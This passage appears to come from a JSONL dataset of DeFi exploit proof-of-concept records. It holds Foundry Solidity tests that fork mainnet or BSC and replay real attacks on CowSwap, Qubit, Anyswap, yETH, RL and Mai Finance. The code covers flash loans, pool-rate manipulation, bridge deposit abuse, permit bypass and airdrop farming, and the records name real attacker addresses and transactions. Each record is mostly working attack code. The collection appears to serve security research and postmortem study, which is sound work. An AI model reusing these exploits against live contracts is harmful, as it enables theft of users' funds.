allowedLoss = type(uint256).max;\n swapGuard.envelope(interactions, vault, tokens, tokenPrices, balanceChanges, allowedLoss);\n\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n }\n}\n", "type": "exploit_poc", "protocol": "CowSwap", "date": "2023-02", "file_name": "CowSwap_exp.sol", "attack_vector": null, "content_hash": "bfcb07c4ecb015af", "collected_at": "2026-01-07T10:59:16.516091", "_source": "postmortems", "chain": "ethereum", "block_number": 16574048, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.22, "quality_estimate": "low", "title": "CowSwap Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IQBridge {\n function deposit(uint8 destinationDomainID, bytes32 resourceID, bytes calldata data) external payable;\n}\n\ninterface IQBridgeHandler {\n // mapping(address => bool) public contractWhitelist;\n function resourceIDToTokenContractAddress(\n bytes32\n ) external returns (address);\n function contractWhitelist(\n address\n ) external returns (bool);\n function deposit(bytes32 resourceID, address depositer, bytes calldata data) external;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address attacker = 0xD01Ae1A708614948B2B5e0B7AB5be6AFA01325c7;\n address QBridge = 0x20E5E35ba29dC3B540a1aee781D0814D5c77Bce6;\n address QBridgeHandler = 0x17B7163cf1Dbd286E262ddc68b553D899B93f526;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_090_169); //fork mainnet at block 14090169\n }\n\n function testExploit() public {\n cheat.startPrank(attacker);\n // emit log_named_uint(\n // \"Before exploiting, attacker OP Balance:\",\n // op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)\n // );\n bytes32 resourceID = hex\"00000000000000000000002f422fe9ea622049d6f73f81a906b9b8cff03b7f01\";\n bytes memory data =\n hex\"000000000000000000000000000000000000000000000000000000000000006900000000000000000000000000000000000000000000000a4cc799563c380000000000000000000000000000d01ae1a708614948b2b5e0b7ab5be6afa01325c7\";\n uint256 option;\n uint256 amount;\n (option, amount) = abi.decode(data, (uint256, uint256));\n emit log_named_uint(\"option\", option);\n emit log_named_uint(\"amount\", amount);\n // which calls in turn:\n // IQBridgeHandler(QBridgeHandler).deposit(resourceID, attacker, data);\n emit log_named_address(\n \"contractAddress\", IQBridgeHandler(QBridgeHandler).resourceIDToTokenContractAddress(resourceID)\n );\n emit log_named_uint(\n \"is 0 address whitelisted\", IQBridgeHandler(QBridgeHandler).contractWhitelist(address(0)) ? 1 : 0\n );\n\n IQBridge(QBridge).deposit(1, resourceID, data);\n\n // cheats.createSelectFork(\"bsc\", 14742311); //fork mainnet at block 14742311\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Qubit", "date": "2022-01", "file_name": "Qubit_exp.sol", "attack_vector": null, "content_hash": "24ae87ced5df0bdb", "collected_at": "2026-01-07T10:59:16.516134", "_source": "postmortems", "chain": "unknown", "block_number": 14090169, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n cheat.startPrank(attacker);\n // emit log_named_uint(\n // \"Before exploiting, attacker OP Balance:\",\n // op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)\n // );\n bytes32 resourceID = hex\"00000000000000000000002f422fe9ea622049d6f73f81a906b9b8cff03b7f01\";\n bytes memory data =\n hex\"000000000000000000000000000000000000000000000000000000000000006900000000000000000000000000000000000000000000000a4cc799563c380000000000000000000000000000d01ae1a708614948b2b5e0b7ab5be6afa01325c7\";\n uint256 option;\n uint256 amount;\n (option, amount) = abi.decode(data, (uint256, uint256));\n emit log_named_uint(\"option\", option);\n emit log_named_uint(\"amount\", amount);\n // which calls in turn:\n // IQBridgeHandler(QBridgeHandler).deposit(resourceID, attacker, data);\n emit log_named_address(\n \"contractAddress\", IQBridgeHandler(QBridgeHandler).resourceIDToTokenContractAddress(resourceID)\n );\n emit log_named_uint(\n \"is 0 address whitelisted\", IQBridgeHandler(QBridgeHandler).contractWhitelist(address(0)) ? 1 : 0\n );\n\n IQBridge(QBridge).deposit(1, resourceID, data);\n\n // cheats.createSelectFork(\"bsc\", 14742311); //fork mainnet at block 14742311\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.26, "quality_estimate": "low", "title": "Qubit Exploit (2022-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n address WETH_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n AnyswapV4Router any = AnyswapV4Router(0x6b7a87899490EcE95443e979cA9485CBE7E71522);\n AnyswapV1ERC20 any20 = AnyswapV1ERC20(0x6b7a87899490EcE95443e979cA9485CBE7E71522);\n WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_037_236); // fork mainnet block number 14037236\n }\n\n function testExample() public {\n //https://etherscan.io/tx/0xe50ed602bd916fc304d53c4fed236698b71691a95774ff0aeeb74b699c6227f7\n // anySwapOutUnderlyingWithPermit(\n // address from,\n // address token,\n // address to,\n // uint amount,\n // uint deadline,\n // uint8 v,\n // bytes32 r,\n // bytes32 s,\n // uint toChainID\n // )\n any.anySwapOutUnderlyingWithPermit(\n 0x3Ee505bA316879d246a8fD2b3d7eE63b51B44FAB,\n address(this),\n msg.sender,\n 308_636_644_758_370_382_903,\n 100_000_000_000_000_000_000,\n 0,\n \"0x\",\n \"0x\",\n 56\n );\n emit log_named_uint(\"Before exploit, WETH balance of attacker:\", weth.balanceOf(msg.sender));\n weth.transfer(msg.sender, 308_636_644_758_370_382_901);\n //uint sender = weth.balanceOf(msg.sender);\n emit log_named_uint(\"After exploit, WETH balance of attacker:\", weth.balanceOf(msg.sender));\n }\n\n function burn(address from, uint256 amount) external returns (bool) {\n amount;\n from;\n return true;\n }\n\n function depositVault(uint256 amount, address to) external returns (uint256) {\n amount;\n to;\n return 1;\n }\n\n function underlying() external view returns (address) {\n return WETH_Address;\n }\n}\n", "type": "exploit_poc", "protocol": "Anyswap", "date": "2022-01", "file_name": "Anyswap_exp.sol", "attack_vector": null, "content_hash": "5800ab98fff77192", "collected_at": "2026-01-07T10:59:16.516180", "_source": "postmortems", "chain": "ethereum", "block_number": 14037236, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExample() public {\n //https://etherscan.io/tx/0xe50ed602bd916fc304d53c4fed236698b71691a95774ff0aeeb74b699c6227f7\n // anySwapOutUnderlyingWithPermit(\n // address from,\n // address token,\n // address to,\n // uint amount,\n // uint deadline,\n // uint8 v,\n // bytes32 r,\n // bytes32 s,\n // uint toChainID\n // )\n any.anySwapOutUnderlyingWithPermit(\n 0x3Ee505bA316879d246a8fD2b3d7eE63b51B44FAB,\n address(this),\n msg.sender,\n 308_636_644_758_370_382_903,\n 100_000_000_000_000_000_000,\n 0,\n \"0x\",\n \"0x\",\n 56\n );\n emit log_named_uint(\"Before exploit, WETH balance of attacker:\", weth.balanceOf(msg.sender));\n weth.transfer(msg.sender, 308_636_644_758_370_382_901);\n //uint sender = weth.balanceOf(msg.sender);\n emit log_named_uint(\"After exploit, WETH balance of attacker:\", weth.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.06, "quality_estimate": "low", "title": "Anyswap Exploit (2022-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"forge-std/interfaces/IERC20.sol\";\n\n// @KeyInfo - Total Lost : 9M USD\n// Attacker : 0xfb63aa935cf0a003335dce9cca03c4f9c0fa4779\n// Attack Contract : 0xbb2789b418fa18f9526ba79fa7038d4e6d753f73\n// Vulnerable Contract : 0xCcd04073f4BdC4510927ea9Ba350875C3c65BF81\n// Attack Tx : 0x53fe7ef190c34d810c50fb66f0fc65a1ceedc10309cf4b4013d64042a0331156\n// Analysis : https://github.com/banteg/yeth-exploit/blob/main/report.pdf\n\n// @POC Author\n// Original POC: https://github.com/johnnyonline/yETH-hack\n// Refactored for readability\n// Key changes: Reduced code duplication, improved structure, added comprehensive logging\n\ninterface IPool {\n function virtual_balance(\n uint256 index\n ) external view returns (uint256);\n function supply() external view returns (uint256);\n function remove_liquidity(\n uint256 _lp_amount,\n uint256[] calldata _min_amounts,\n address _receiver\n ) external;\n function vb_prod_sum() external view returns (uint256, uint256);\n function assets(\n uint256 index\n ) external view returns (address);\n function add_liquidity(\n uint256[] calldata _amounts,\n uint256 _min_lp_amount,\n address _receiver\n ) external returns (uint256);\n function update_rates(\n uint256[] calldata _assets\n ) external;\n}\n\ninterface IOETH is IERC20 {\n function rebase() external;\n}\n\ncontract YETHExploitTest is BaseTestWithBalanceLog {\n uint256 constant FORK_BLOCK = 23_914_085;\n uint256 constant INITIAL_BALANCE = 20_000e18;\n uint256 constant NUM_ASSETS = 8;\n\n IPool constant POOL = IPool(0xCcd04073f4BdC4510927ea9Ba350875C3c65BF81);\n IERC20 constant YETH = IERC20(0x1BED97CBC3c24A4fb5C069C6E311a967386131f7);\n IOETH constant OETH = IOETH(0x39254033945AA2E4809Cc2977E7087BEE48bd7Ab);\n\n address[] internal assetsToLog;\n modifier balanceLog() override {\n //Set eth bal to 0\n vm.deal(address(this), 0);\n logMultipleTokenBalances(assetsToLog, address(this), \"Before exploit\");\n _;\n logMultipleTokenBalances(assetsToLog, address(this), \"After exploit\");\n }\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", FORK_BLOCK);\n fundingToken = address(0);\n assetsToLog = new address[](NUM_ASSETS + 2);\n\n // Get all pool assets\n for (uint256 i = 0; i < NUM_ASSETS; i++) {\n assetsToLog[i] = POOL.assets(i);\n }\n\n // Add YETH and ETH\n assetsToLog[NUM_ASSETS] = address(YETH);\n assetsToLog[NUM_ASSETS + 1] = address(0); // ETH\n }\n\n function testExploit() public balanceLog {\n _setupInitialBalances();\n _initialRateUpdate();\n _executeExploitSequence();\n //Take back assets from flashloan to get actual profit\n _takeInitialsBack();\n }\n\n function _setupInitialBalances() internal {\n for (uint256 i = 0; i < NUM_ASSETS; i++) {\n address asset = POOL.assets(i);\n deal(asset, address(this), INITIAL_BALANCE);\n IERC20(asset).approve(address(POOL), type(uint256).max);\n }\n YETH.approve(address(POOL), type(uint256).max);\n }\n\n function _takeInitialsBack() internal {\n for (uint256 i = 0; i < NUM_ASSETS; i++) {\n address asset = POOL.assets(i);\n deal(asset, address(this), IERC20(asset).balanceOf(address(this)) - INITIAL_BALANCE);\n }\n }\n\n function _initialRateUpdate() internal {\n uint256[] memory rates = new uint256[](8);\n for (uint256 i = 0; i < 6; i++) {\n rates[i] = i;\n }\n POOL.update_rates(rates);\n _logPoolState(\"After initial rate update\");\n }\n\n function _executeExploitSequence() internal {\n // Phase 1: Initial manipulation\n _executePhase1();\n\n // Phase 2: Multiple add/remove cycles\n _executeAddRemoveCycle(1, _getPhase2Amounts(), 2_789_348_310_901_989_968_648);\n _executeAddRemoveCycle(2, _getPhase3Amounts(), 7_379_203_011_929_903_830_039);\n _executeAddRemoveCycle(3, _getPhase4Amounts(), 7_066_638_371_690_257_003_757);\n _executeAddRemoveCycle(4, _getPhase5Amounts(), 3_496_158_478_994_807_127_953);\n\n // Phase 3: Complex manipulation with rate updates\n _executePhase6();\n\n // Phase 4: Rebase exploitation\n _executePhase7();\n\n // Phase 5: Additional manipulation\n _executePhase8();\n\n // Phase 6: Final drain\n _executeFinalDrain();\n }\n\n function _executePhase1() internal {\n uint256 removeAmount = 416_373_487_230_773_958_294;\n deal(address(YETH), address(this), removeAmount);\n console.log(\"Initial yETH balance:\", YETH.balanceOf(address(this)));\n _removeLiquidity(removeAmount, \"After initial remove\");\n }\n\n function _executeAddRemoveCycle(\n uint256 cycleNum,\n uint256[8] memory amounts,\n uint256 removeAmount\n ) internal {\n _addLiquidity(amounts, string.concat(\"After add cycle \", vm.toString(cycleNum)));\n _removeLiquidity(removeAmount, string.concat(\"After remove cycle \", vm.toString(cycleNum)));\n }\n\n function _executePhase6() internal {\n // Fifth add\n _addLiquidity(_getPhase6Add1Amounts(), \"After fifth add\");\n\n // Sixth add (small amount to asset 3)\n _addLiquidity(_getSingleAssetAmounts(3, 20_605_468_750_000_000_000), \"After sixth add\");\n\n // Empty remove and rate update\n _removeLiquidity(0, \"After remove(0)\");\n _updateSingleRate(6);\n\n // Sixth remove\n _removeLiquidity(8_434_932_236_461_542_896_540, \"After sixth remove\");\n }\n\n function _executePhase7() internal {\n OETH.rebase();\n _logPoolState(\"After OETH rebase\");\n\n _addLiquidity(_getPhase7Add1Amounts(), \"After post-rebase add 1\");\n _addLiquidity(_getPhase7Add2Amounts(), \"After post-rebase add 2\");\n }\n\n function _executePhase8() internal {\n // Ninth add\n _addLiquidity(_getSingleAssetAmounts(3, 57_226_562_500_000_000_000), \"After asset 3 add 2\");\n\n // Empty remove and rate update\n _removeLiquidity(0, \"After remove(0) #2\");\n _updateSingleRate(6);\n\n // Eighth remove\n _removeLiquidity(9_237_030_802_829_017_297_880, \"After eighth remove\");\n\n // Tenth and eleventh adds\n _addLiquidity(_getPhase8Add1Amounts(), \"After tenth add\");\n _addLiquidity(_getPhase8Add2Amounts(), \"After eleventh add\");\n\n // Twelfth add\n _addLiquidity(_getSingleAssetAmounts(3, 318_750_000_000_000_000_000), \"After asset 3 add 3\");\n\n // Empty remove and rate update\n _removeLiquidity(0, \"After remove(0) #3\");\n _updateSingleRate(7);\n }\n\n function _executeFinalDrain() internal {\n uint256 poolSupply = POOL.supply();\n console.log(\"Pool supply before drain:\", poolSupply);\n\n _removeLiquidity(poolSupply, \"After FINAL DRAIN\");\n\n // Final add with minimal amounts\n uint256[8] memory finalAmounts;\n for (uint256 i = 0; i < NUM_ASSETS - 1; i++) {\n finalAmounts[i] = 1;\n }\n finalAmounts[7] = 9;\n\n _addLiquidity(finalAmounts, \"After FINAL ADD\");\n }\n\n // Helper functions\n function _addLiquidity(\n uint256[8] memory amounts,\n string memory label\n ) internal {\n uint256[] memory amountsArray = new uint256[](NUM_ASSETS);\n for (uint256 i = 0; i < NUM_ASSETS; i++) {\n amountsArray[i] = amounts[i];\n }\n uint256 received = POOL.add_liquidity(amountsArray, 0, address(this));\n console.log(\"Received yETH:\", received);\n _logPoolState(label);\n }\n\n function _removeLiquidity(\n uint256 amount,\n string memory label\n ) internal {\n POOL.remove_liquidity(amount, new uint256[](NUM_ASSETS), address(this));\n _logPoolState(label);\n }\n\n function _updateSingleRate(\n uint256 assetIndex\n ) internal {\n uint256[] memory rates = new uint256[](1);\n rates[0] = assetIndex;\n POOL.update_rates(rates);\n _logPoolState(string.concat(\"After rate update (asset \", vm.toString(assetIndex), \")\"));\n }\n\n function _logPoolState(\n string memory label\n ) internal view {\n (uint256 prod, uint256 sum) = POOL.vb_prod_sum();\n console.log(\"=== %s ===\", label);\n console.log(\" vb_prod:\", prod);\n console.log(\" vb_sum:\", sum);\n }\n\n function _getSingleAssetAmounts(\n uint256 index,\n uint256 amount\n ) internal pure returns (uint256[8] memory amounts) {\n amounts[index] = amount;\n }\n\n // Amount getter functions\n function _getPhase2Amounts() internal pure returns (uint256[8] memory amounts) {\n amounts[0] = 610_669_608_721_347_951_666;\n amounts[1] = 777_507_145_787_198_969_404;\n amounts[2] = 563_973_440_562_370_010_057;\n amounts[4] = 476_460_390_272_167_461_711;\n }\n\n function _getPhase3Amounts() internal pure returns (uint256[8] memory amounts) {\n amounts[0] = 1_636_245_238_220_874_001_286;\n amounts[1] = 1_531_136_279_659_070_868_194;\n amounts[2] = 1_041_815_511_903_532_551_187;\n amounts[4] = 991_050_908_418_104_947_336;\n amounts[5] = 1_346_008_005_663_580_090_716;\n }\n\n function _getPhase4Amounts() internal pure returns (uint256[8] memory amounts) {\n amounts[0] = 1_630_811_661_792_970_363_090;\n amounts[1] = 1_526_051_744_772_289_698_092;\n amounts[2] = 1_038_108_768_586_660_585_581;\n amounts[4] = 969_651_157_511_131_341_121;\n amounts[5] = 1_363_135_138_655_820_584_263;\n }\n\n function _getPhase5Amounts() internal pure returns (uint256[8] memory amounts) {\n amounts[0] = 859_805_263_416_698_094_503;\n amounts[1] = 804_573_178_584_505_833_740;\n amounts[2] = 546_933_182_262_586_953_508;\n amounts[4] = 510_865_922_059_584_325_991;\n amounts[5] = 723_182_384_178_548_055_243;\n }\n\n function _getPhase6Add1Amounts() internal pure returns (uint256[8] memory amounts) {\n amounts[0] = 1_784_169_320_136_805_803_209;\n amounts[1] = 1_669_558_029_141_448_703_194;\n amounts[2] = 1_135_991_585_797_559_066_395;\n amounts[4] = 1_061_079_136_814_511_050_837;\n amounts[5] = 1_488_254_960_317_842_892_500;\n }\n\n function _getPhase7Add1Amounts() internal pure returns (uint256[8] memory amounts) {\n amounts[0] = 1_049_508_928_999_413_985_639;\n amounts[1] = 982_090_679_001_395_746_930;\n amounts[2] = 667_668_088_369_153_429_906;\n amounts[4] = 623_639_019_639_346_230_238;\n amounts[5] = 878_771_594_643_399_886_538;\n }\n\n function _getPhase7Add2Amounts() internal pure returns (uint256[8] memory amounts) {\n amounts[0] = 919_888_612_738_016_815_095;\n amounts[1] = 860_796_899_699_397_749_576;\n amounts[2] = 586_033_288_771_470_394_081;\n amounts[4] = 547_387_589_810_030_997_702;\n amounts[5] = 763_397_793_689_173_373_329;\n }\n\n function _getPhase8Add1Amounts() internal pure returns (uint256[8] memory amounts) {\n amounts[0] = 417_517_891_458_429_416_749;\n amounts[1] = 390_697_418_752_374_378_114;\n amounts[2] = 264_940_493_241_640_253_533;\n amounts[4] = 247_469_112_791_605_057_921;\n amounts[5] = 355_235_146_731_093_304_055;\n }\n\n function _getPhase8Add2Amounts() internal pure returns (uint256[8] memory amounts) {\n amounts[0] = 1_779_325_564_746_959_656_328;\n amounts[1] = 1_665_025_426_427_657_662_239;\n amounts[2] = 1_133_554_647_882_989_836_457;\n amounts[4] = 1_058_802_901_663_485_490_031;\n amounts[5] = 1_476_627_921_656_231_103_547;\n }\n}\n", "type": "exploit_poc", "protocol": "yETH", "date": "2025-12", "file_name": "yETH_exp.sol", "attack_vector": "flash_loan", "content_hash": "225099b54c2dbd1c", "collected_at": "2026-01-07T10:59:16.516229", "_source": "postmortems", "chain": "unknown", "block_number": null, "total_lost_raw": "9M USD", "total_lost_usd": 9000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "9M USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n _setupInitialBalances();\n _initialRateUpdate();\n _executeExploitSequence();\n //Take back assets from flashloan to get actual profit\n _takeInitialsBack();\n }", "has_exploit_code": true, "keyinfo_total_lost": "9M USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$9.00M", "content_richness_score": 8, "quality_estimate": "high", "title": "yETH Exploit (2025-12)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "//SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Report https://twitter.com/CertiKAlert/status/1576195971003858944\n// Attacker : 0x08e08f4b701d33c253ad846868424c1f3c9a4db3\n// Attack Contract : 0x5EfD021Ab403B5b6bBD30fd2E3C26f83f03163d4\n// Vulnerable Contract : https://bscscan.com/address/0x4bbfae575dd47bcfd5770ab4bc54eb83db088888\n// Attack Tx 0xe15d261403612571edf8ea8be78458b88989cf1877f0b51af9159a76b74cb466\ninterface IDODO {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n\n function _BASE_TOKEN_() external view returns (address);\n}\n\ninterface RLLpIncentive {\n function distributeAirdrop(\n address user\n ) external;\n}\n\ncontract AirDropRewardContract {\n IERC20 RL = IERC20(0x4bBfae575Dd47BCFD5770AB4bC54Eb83DB088888);\n RLLpIncentive RLL = RLLpIncentive(0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666);\n IERC20 Pair = IERC20(0xD9578d4009D9CC284B32D19fE58FfE5113c04A5e);\n\n constructor() {\n RL.transfer(address(this), 0);\n }\n\n function airDropReward(\n address receiver\n ) external {\n RLL.distributeAirdrop(address(this));\n RL.transfer(receiver, RL.balanceOf(address(this)));\n Pair.transfer(receiver, Pair.balanceOf(address(this)));\n }\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 RL = IERC20(0x4bBfae575Dd47BCFD5770AB4bC54Eb83DB088888);\n RLLpIncentive RLL = RLLpIncentive(0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666);\n IDODO dodo = IDODO(0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE);\n IERC20 Pair = IERC20(0xD9578d4009D9CC284B32D19fE58FfE5113c04A5e);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address[] public contractAddress;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 21_794_289);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Start] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n\n USDT.approve(address(Router), ~uint256(0));\n RL.approve(address(Router), ~uint256(0));\n Pair.approve(address(Router), ~uint256(0));\n airDropContractFactory();\n //change timestamp to pass check\n cheats.warp(block.timestamp + 24 * 60 * 60);\n dodo.flashLoan(0, 450_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n buyRLAndAddLiquidity();\n //claimAirDrop\n for (uint256 i = 0; i < contractAddress.length; i++) {\n Pair.transfer(contractAddress[i], Pair.balanceOf(address(this)));\n (bool success,) = contractAddress[i].call(abi.encodeWithSignature(\"airDropReward(address)\", address(this)));\n require(success);\n }\n\n removeLiquidityAndSellRL();\n USDT.transfer(msg.sender, 450_000 * 1e18);\n }\n\n function buyRLAndAddLiquidity() public {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(RL);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 150_000 * 1e18, 0, path, address(this), block.timestamp\n );\n\n Router.addLiquidity(\n address(USDT),\n address(RL),\n USDT.balanceOf(address(this)),\n RL.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n\n function removeLiquidityAndSellRL() public {\n Router.removeLiquidity(\n address(USDT), address(RL), Pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp\n );\n\n address[] memory path = new address[](2);\n path[0] = address(RL);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n RL.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function airDropContractFactory() public {\n address _add;\n bytes memory bytecode = type(AirDropRewardContract).creationCode;\n for (uint256 _salt = 0; _salt < 100; _salt++) {\n assembly {\n _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)\n }\n contractAddress.push(_add);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "RL", "date": "2022-10", "file_name": "RL_exp.sol", "attack_vector": "flash_loan", "content_hash": "12e7f7e95046e55a", "collected_at": "2026-01-07T10:59:16.516302", "_source": "postmortems", "chain": "bsc", "block_number": 21794289, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x4bbfae575dd47bcfd5770ab4bc54eb83db088888", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x4bbfae575dd47bcfd5770ab4bc54eb83db088888", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.34, "quality_estimate": "medium", "title": "RL Exploit (2022-10)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"forge-std/Test.sol\";\n\n// Total Lost: $180k\n// Attacker: 0x4206d62305d2815494dcdb759c4e32fca1d181a0\n// Attack Contract: 0xEb4c67E5BE040068FA477a539341d6aeF081E4Eb\n// Vulnerable Contract: 0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943\n// Attack Tx: https://phalcon.blocksec.com/tx/polygon/0xb8efe839da0c89daa763f39f30577dc21937ae351c6f99336a0017e63d387558\n// https://polygonscan.com/tx/0xb8efe839da0c89daa763f39f30577dc21937ae351c6f99336a0017e63d387558\n\n// @Analyses\n// https://quillaudits.medium.com/decoding-220k-read-only-reentrancy-exploit-quillaudits-30871d728ad5\n// https://ambergroup.medium.com/mai-finances-oracle-manipulation-vulnerability-explained-55e4b5cc2b82\n// https://twitter.com/statemindio/status/1585341766588190720\n// https://twitter.com/BeosinAlert/status/1584551399941365763\n\ncontract Liquidator {\n CErc20Interface private constant CErc20_mmooCurvestMATIC_MATIC_4 =\n CErc20Interface(0x570Bc2b7Ad1399237185A27e66AEA9CfFF5F3dB8);\n ICErc20Delegate private constant CErc20Delegate_mMAI_4 = ICErc20Delegate(0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943);\n BeefyVault private constant beefyVault = BeefyVault(0xE0570ddFca69E5E90d83Ea04bb33824D3BbE6a85);\n IERC20 private constant miMATIC = IERC20(0xa3Fa99A148fA48D14Ed51d610c367C61876997F1);\n\n // https://www.youtube.com/watch?v=w-oVV0Ie3Fw&t=188s&ab_channel=SmartContractProgrammer\n function liquidate(\n address main\n ) external {\n // use 70_420 miMATIC as repayAmount for liquidation\n miMATIC.approve(address(CErc20Delegate_mMAI_4), type(uint256).max);\n require(\n CErc20Delegate_mMAI_4.liquidateBorrow(main, 70_420 ether, address(CErc20_mmooCurvestMATIC_MATIC_4)) == 0,\n \"liquidate failed\"\n );\n\n // redeem beefyVault token (mooCurvestMATIC-MATIC)\n CErc20_mmooCurvestMATIC_MATIC_4.redeem(CErc20_mmooCurvestMATIC_MATIC_4.balanceOf(address(this)));\n\n // transfer all tokens to main attack contract\n beefyVault.transfer(main, beefyVault.balanceOf(address(this)));\n miMATIC.transfer(main, miMATIC.balanceOf(address(this)));\n }\n}\n\ncontract MarketExploitTest is Test {\n WETH9 private constant WMATIC = WETH9(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);\n IERC20 private constant stMATIC = IERC20(0x3A58a54C066FdC0f2D55FC9C89F0415C92eBf3C4);\n\n ILendingPool private constant aaveLendingPool = ILendingPool(0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf);\n IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n\n ICurvePool private constant vyperContract = 